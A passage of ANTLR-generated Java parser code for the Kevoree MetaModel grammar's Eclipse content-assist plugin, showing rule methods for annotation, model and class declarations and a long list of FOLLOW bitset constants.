// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2179:1: rule__AnnotationDeclr__Group__2__Impl : ( ( rule__AnnotationDeclr__Alternatives_2 )? ) ;
public final void rule__AnnotationDeclr__Group__2__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2183:1: ( ( ( rule__AnnotationDeclr__Alternatives_2 )? ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2184:1: ( ( rule__AnnotationDeclr__Alternatives_2 )? )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2184:1: ( ( rule__AnnotationDeclr__Alternatives_2 )? )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2185:1: ( rule__AnnotationDeclr__Alternatives_2 )?
{
before(grammarAccess.getAnnotationDeclrAccess().getAlternatives_2());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2186:1: ( rule__AnnotationDeclr__Alternatives_2 )?
int alt16=2;
int LA16_0 = input.LA(1);
if ( ((LA16_0>=RULE_INT && LA16_0<=RULE_STRING)) ) {
alt16=1;
}
switch (alt16) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2186:2: rule__AnnotationDeclr__Alternatives_2
{
pushFollow(FOLLOW_rule__AnnotationDeclr__Alternatives_2_in_rule__AnnotationDeclr__Group__2__Impl4367);
rule__AnnotationDeclr__Alternatives_2();
state._fsp--;
}
break;
}
after(grammarAccess.getAnnotationDeclrAccess().getAlternatives_2());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AnnotationDeclr__Group__2__Impl"
// $ANTLR start "rule__Model__AnnotationsAssignment_0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2203:1: rule__Model__AnnotationsAssignment_0 : ( ruleannotationDeclr ) ;
public final void rule__Model__AnnotationsAssignment_0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2207:1: ( ( ruleannotationDeclr ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2208:1: ( ruleannotationDeclr )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2208:1: ( ruleannotationDeclr )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2209:1: ruleannotationDeclr
{
before(grammarAccess.getModelAccess().getAnnotationsAnnotationDeclrParserRuleCall_0_0());
pushFollow(FOLLOW_ruleannotationDeclr_in_rule__Model__AnnotationsAssignment_04409);
ruleannotationDeclr();
state._fsp--;
after(grammarAccess.getModelAccess().getAnnotationsAnnotationDeclrParserRuleCall_0_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__Model__AnnotationsAssignment_0"
// $ANTLR start "rule__Model__DeclarationsAssignment_1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2218:1: rule__Model__DeclarationsAssignment_1 : ( ruledecl ) ;
public final void rule__Model__DeclarationsAssignment_1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2222:1: ( ( ruledecl ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2223:1: ( ruledecl )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2223:1: ( ruledecl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2224:1: ruledecl
{
before(grammarAccess.getModelAccess().getDeclarationsDeclParserRuleCall_1_0());
pushFollow(FOLLOW_ruledecl_in_rule__Model__DeclarationsAssignment_14440);
ruledecl();
state._fsp--;
after(grammarAccess.getModelAccess().getDeclarationsDeclParserRuleCall_1_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__Model__DeclarationsAssignment_1"
// $ANTLR start "rule__ClassDeclr__AnnotationsAssignment_4"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2233:1: rule__ClassDeclr__AnnotationsAssignment_4 : ( ruleannotationDeclr ) ;
public final void rule__ClassDeclr__AnnotationsAssignment_4() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2237:1: ( ( ruleannotationDeclr ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2238:1: ( ruleannotationDeclr )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2238:1: ( ruleannotationDeclr )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2239:1: ruleannotationDeclr
{
before(grammarAccess.getClassDeclrAccess().getAnnotationsAnnotationDeclrParserRuleCall_4_0());
pushFollow(FOLLOW_ruleannotationDeclr_in_rule__ClassDeclr__AnnotationsAssignment_44471);
ruleannotationDeclr();
state._fsp--;
after(grammarAccess.getClassDeclrAccess().getAnnotationsAnnotationDeclrParserRuleCall_4_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__AnnotationsAssignment_4"
// $ANTLR start "rule__ClassDeclr__DeclarationsAssignment_5"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2248:1: rule__ClassDeclr__DeclarationsAssignment_5 : ( ruleclassElemDeclr ) ;
public final void rule__ClassDeclr__DeclarationsAssignment_5() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2252:1: ( ( ruleclassElemDeclr ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2253:1: ( ruleclassElemDeclr )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2253:1: ( ruleclassElemDeclr )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:2254:1: ruleclassElemDeclr
{
before(grammarAccess.getClassDeclrAccess().getDeclarationsClassElemDeclrParserRuleCall_5_0());
pushFollow(FOLLOW_ruleclassElemDeclr_in_rule__ClassDeclr__DeclarationsAssignment_54502);
ruleclassElemDeclr();
state._fsp--;
after(grammarAccess.getClassDeclrAccess().getDeclarationsClassElemDeclrParserRuleCall_5_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__DeclarationsAssignment_5"
// Delegated rules
public static final BitSet FOLLOW_ruleModel_in_entryRuleModel61 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuleModel68 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__Model__Group__0_in_ruleModel94 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruletypeName_in_entryRuletypeName121 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuletypeName128 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__TypeName__Group__0_in_ruletypeName154 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruledecl_in_entryRuledecl181 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuledecl188 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__Decl__Alternatives_in_ruledecl214 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleenumDeclr_in_entryRuleenumDeclr241 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuleenumDeclr248 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__0_in_ruleenumDeclr274 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleclassDeclr_in_entryRuleclassDeclr301 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuleclassDeclr308 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__0_in_ruleclassDeclr334 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleclassElemDeclr_in_entryRuleclassElemDeclr361 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuleclassElemDeclr368 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassElemDeclr__Alternatives_in_ruleclassElemDeclr394 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleclassParentDeclr_in_entryRuleclassParentDeclr421 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuleclassParentDeclr428 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassParentDeclr__Group__0_in_ruleclassParentDeclr454 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleattributeDeclaration_in_entryRuleattributeDeclaration481 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuleattributeDeclaration488 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AttributeDeclaration__Group__0_in_ruleattributeDeclaration514 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleattributeType_in_entryRuleattributeType541 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuleattributeType548 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AttributeType__Alternatives_in_ruleattributeType574 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rulereferenceDeclaration_in_entryRulereferenceDeclaration601 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRulereferenceDeclaration608 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Group__0_in_rulereferenceDeclaration634 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruledependencyDeclaration_in_entryRuledependencyDeclaration661 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuledependencyDeclaration668 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__DependencyDeclaration__Group__0_in_ruledependencyDeclaration694 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleinputDeclaration_in_entryRuleinputDeclaration721 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuleinputDeclaration728 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__InputDeclaration__Group__0_in_ruleinputDeclaration754 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleoutputDeclaration_in_entryRuleoutputDeclaration781 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuleoutputDeclaration788 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__OutputDeclaration__Group__0_in_ruleoutputDeclaration814 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleannotationDeclr_in_entryRuleannotationDeclr841 = new BitSet(new long[]{0x0000000000000000L});
public static final BitSet FOLLOW_EOF_in_entryRuleannotationDeclr848 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AnnotationDeclr__Group__0_in_ruleannotationDeclr874 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleenumDeclr_in_rule__Decl__Alternatives910 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleclassDeclr_in_rule__Decl__Alternatives927 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleattributeDeclaration_in_rule__ClassElemDeclr__Alternatives959 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rulereferenceDeclaration_in_rule__ClassElemDeclr__Alternatives976 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruledependencyDeclaration_in_rule__ClassElemDeclr__Alternatives993 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleinputDeclaration_in_rule__ClassElemDeclr__Alternatives1010 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleoutputDeclaration_in_rule__ClassElemDeclr__Alternatives1027 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_11_in_rule__AttributeType__Alternatives1060 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_12_in_rule__AttributeType__Alternatives1080 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_13_in_rule__AttributeType__Alternatives1100 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_14_in_rule__AttributeType__Alternatives1120 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_15_in_rule__AttributeType__Alternatives1140 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_16_in_rule__AttributeType__Alternatives1160 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruletypeName_in_rule__AttributeType__Alternatives1179 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_17_in_rule__ReferenceDeclaration__Alternatives_01212 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_18_in_rule__ReferenceDeclaration__Alternatives_01232 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_INT_in_rule__AnnotationDeclr__Alternatives_21266 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_STRING_in_rule__AnnotationDeclr__Alternatives_21283 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__Model__Group__0__Impl_in_rule__Model__Group__01313 = new BitSet(new long[]{0x0000000001100000L});
public static final BitSet FOLLOW_rule__Model__Group__1_in_rule__Model__Group__01316 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__Model__AnnotationsAssignment_0_in_rule__Model__Group__0__Impl1343 = new BitSet(new long[]{0x0000000080000002L});
public static final BitSet FOLLOW_rule__Model__Group__1__Impl_in_rule__Model__Group__11374 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__Model__DeclarationsAssignment_1_in_rule__Model__Group__1__Impl1401 = new BitSet(new long[]{0x0000000001100002L});
public static final BitSet FOLLOW_rule__TypeName__Group__0__Impl_in_rule__TypeName__Group__01436 = new BitSet(new long[]{0x0000000000080000L});
public static final BitSet FOLLOW_rule__TypeName__Group__1_in_rule__TypeName__Group__01439 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_ID_in_rule__TypeName__Group__0__Impl1466 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__TypeName__Group__1__Impl_in_rule__TypeName__Group__11495 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__TypeName__Group_1__0_in_rule__TypeName__Group__1__Impl1522 = new BitSet(new long[]{0x0000000000080002L});
public static final BitSet FOLLOW_rule__TypeName__Group_1__0__Impl_in_rule__TypeName__Group_1__01557 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__TypeName__Group_1__1_in_rule__TypeName__Group_1__01560 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_19_in_rule__TypeName__Group_1__0__Impl1588 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__TypeName__Group_1__1__Impl_in_rule__TypeName__Group_1__11619 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_ID_in_rule__TypeName__Group_1__1__Impl1646 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__0__Impl_in_rule__EnumDeclr__Group__01679 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__1_in_rule__EnumDeclr__Group__01682 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_20_in_rule__EnumDeclr__Group__0__Impl1710 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__1__Impl_in_rule__EnumDeclr__Group__11741 = new BitSet(new long[]{0x0000000000200000L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__2_in_rule__EnumDeclr__Group__11744 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruletypeName_in_rule__EnumDeclr__Group__1__Impl1771 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__2__Impl_in_rule__EnumDeclr__Group__21800 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__3_in_rule__EnumDeclr__Group__21803 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_21_in_rule__EnumDeclr__Group__2__Impl1831 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__3__Impl_in_rule__EnumDeclr__Group__31862 = new BitSet(new long[]{0x0000000000C00000L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__4_in_rule__EnumDeclr__Group__31865 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_ID_in_rule__EnumDeclr__Group__3__Impl1892 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__4__Impl_in_rule__EnumDeclr__Group__41921 = new BitSet(new long[]{0x0000000000C00000L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__5_in_rule__EnumDeclr__Group__41924 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group_4__0_in_rule__EnumDeclr__Group__4__Impl1951 = new BitSet(new long[]{0x0000000000800002L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group__5__Impl_in_rule__EnumDeclr__Group__51982 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_22_in_rule__EnumDeclr__Group__5__Impl2010 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group_4__0__Impl_in_rule__EnumDeclr__Group_4__02053 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group_4__1_in_rule__EnumDeclr__Group_4__02056 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_23_in_rule__EnumDeclr__Group_4__0__Impl2084 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__EnumDeclr__Group_4__1__Impl_in_rule__EnumDeclr__Group_4__12115 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_ID_in_rule__EnumDeclr__Group_4__1__Impl2142 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__0__Impl_in_rule__ClassDeclr__Group__02175 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__1_in_rule__ClassDeclr__Group__02178 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_24_in_rule__ClassDeclr__Group__0__Impl2206 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__1__Impl_in_rule__ClassDeclr__Group__12237 = new BitSet(new long[]{0x0000000002200000L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__2_in_rule__ClassDeclr__Group__12240 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruletypeName_in_rule__ClassDeclr__Group__1__Impl2267 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__2__Impl_in_rule__ClassDeclr__Group__22296 = new BitSet(new long[]{0x0000000002200000L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__3_in_rule__ClassDeclr__Group__22299 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleclassParentDeclr_in_rule__ClassDeclr__Group__2__Impl2327 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__3__Impl_in_rule__ClassDeclr__Group__32358 = new BitSet(new long[]{0x00000000F4460000L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__4_in_rule__ClassDeclr__Group__32361 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_21_in_rule__ClassDeclr__Group__3__Impl2389 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__4__Impl_in_rule__ClassDeclr__Group__42420 = new BitSet(new long[]{0x00000000F4460000L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__5_in_rule__ClassDeclr__Group__42423 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassDeclr__AnnotationsAssignment_4_in_rule__ClassDeclr__Group__4__Impl2450 = new BitSet(new long[]{0x0000000080000002L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__5__Impl_in_rule__ClassDeclr__Group__52481 = new BitSet(new long[]{0x00000000F4460000L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__6_in_rule__ClassDeclr__Group__52484 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassDeclr__DeclarationsAssignment_5_in_rule__ClassDeclr__Group__5__Impl2511 = new BitSet(new long[]{0x0000000074060002L});
public static final BitSet FOLLOW_rule__ClassDeclr__Group__6__Impl_in_rule__ClassDeclr__Group__62542 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_22_in_rule__ClassDeclr__Group__6__Impl2570 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassParentDeclr__Group__0__Impl_in_rule__ClassParentDeclr__Group__02615 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__ClassParentDeclr__Group__1_in_rule__ClassParentDeclr__Group__02618 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_25_in_rule__ClassParentDeclr__Group__0__Impl2646 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassParentDeclr__Group__1__Impl_in_rule__ClassParentDeclr__Group__12677 = new BitSet(new long[]{0x0000000000800000L});
public static final BitSet FOLLOW_rule__ClassParentDeclr__Group__2_in_rule__ClassParentDeclr__Group__12680 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruletypeName_in_rule__ClassParentDeclr__Group__1__Impl2707 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassParentDeclr__Group__2__Impl_in_rule__ClassParentDeclr__Group__22736 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassParentDeclr__Group_2__0_in_rule__ClassParentDeclr__Group__2__Impl2763 = new BitSet(new long[]{0x0000000000800002L});
public static final BitSet FOLLOW_rule__ClassParentDeclr__Group_2__0__Impl_in_rule__ClassParentDeclr__Group_2__02800 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__ClassParentDeclr__Group_2__1_in_rule__ClassParentDeclr__Group_2__02803 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_23_in_rule__ClassParentDeclr__Group_2__0__Impl2831 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ClassParentDeclr__Group_2__1__Impl_in_rule__ClassParentDeclr__Group_2__12862 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruletypeName_in_rule__ClassParentDeclr__Group_2__1__Impl2889 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AttributeDeclaration__Group__0__Impl_in_rule__AttributeDeclaration__Group__02922 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__AttributeDeclaration__Group__1_in_rule__AttributeDeclaration__Group__02925 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_26_in_rule__AttributeDeclaration__Group__0__Impl2953 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AttributeDeclaration__Group__1__Impl_in_rule__AttributeDeclaration__Group__12984 = new BitSet(new long[]{0x0000000008000000L});
public static final BitSet FOLLOW_rule__AttributeDeclaration__Group__2_in_rule__AttributeDeclaration__Group__12987 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_ID_in_rule__AttributeDeclaration__Group__1__Impl3014 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AttributeDeclaration__Group__2__Impl_in_rule__AttributeDeclaration__Group__23043 = new BitSet(new long[]{0x000000000001F840L});
public static final BitSet FOLLOW_rule__AttributeDeclaration__Group__3_in_rule__AttributeDeclaration__Group__23046 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_27_in_rule__AttributeDeclaration__Group__2__Impl3074 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AttributeDeclaration__Group__3__Impl_in_rule__AttributeDeclaration__Group__33105 = new BitSet(new long[]{0x0000000080000000L});
public static final BitSet FOLLOW_rule__AttributeDeclaration__Group__4_in_rule__AttributeDeclaration__Group__33108 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleattributeType_in_rule__AttributeDeclaration__Group__3__Impl3135 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__AttributeDeclaration__Group__4__Impl_in_rule__AttributeDeclaration__Group__43164 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_ruleannotationDeclr_in_rule__AttributeDeclaration__Group__4__Impl3192 = new BitSet(new long[]{0x0000000080000002L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Group__0__Impl_in_rule__ReferenceDeclaration__Group__03233 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Group__1_in_rule__ReferenceDeclaration__Group__03236 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Alternatives_0_in_rule__ReferenceDeclaration__Group__0__Impl3263 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Group__1__Impl_in_rule__ReferenceDeclaration__Group__13293 = new BitSet(new long[]{0x0000000008000000L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Group__2_in_rule__ReferenceDeclaration__Group__13296 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_RULE_ID_in_rule__ReferenceDeclaration__Group__1__Impl3323 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Group__2__Impl_in_rule__ReferenceDeclaration__Group__23352 = new BitSet(new long[]{0x0000000000000040L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Group__3_in_rule__ReferenceDeclaration__Group__23355 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_27_in_rule__ReferenceDeclaration__Group__2__Impl3383 = new BitSet(new long[]{0x0000000000000002L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Group__3__Impl_in_rule__ReferenceDeclaration__Group__33414 = new BitSet(new long[]{0x0000000080000000L});
public static final BitSet FOLLOW_rule__ReferenceDeclaration__Group__4_in_rule__ReferenceDeclaration__Group__33417 = new BitSet(new long[]{0x0000000000000002L});
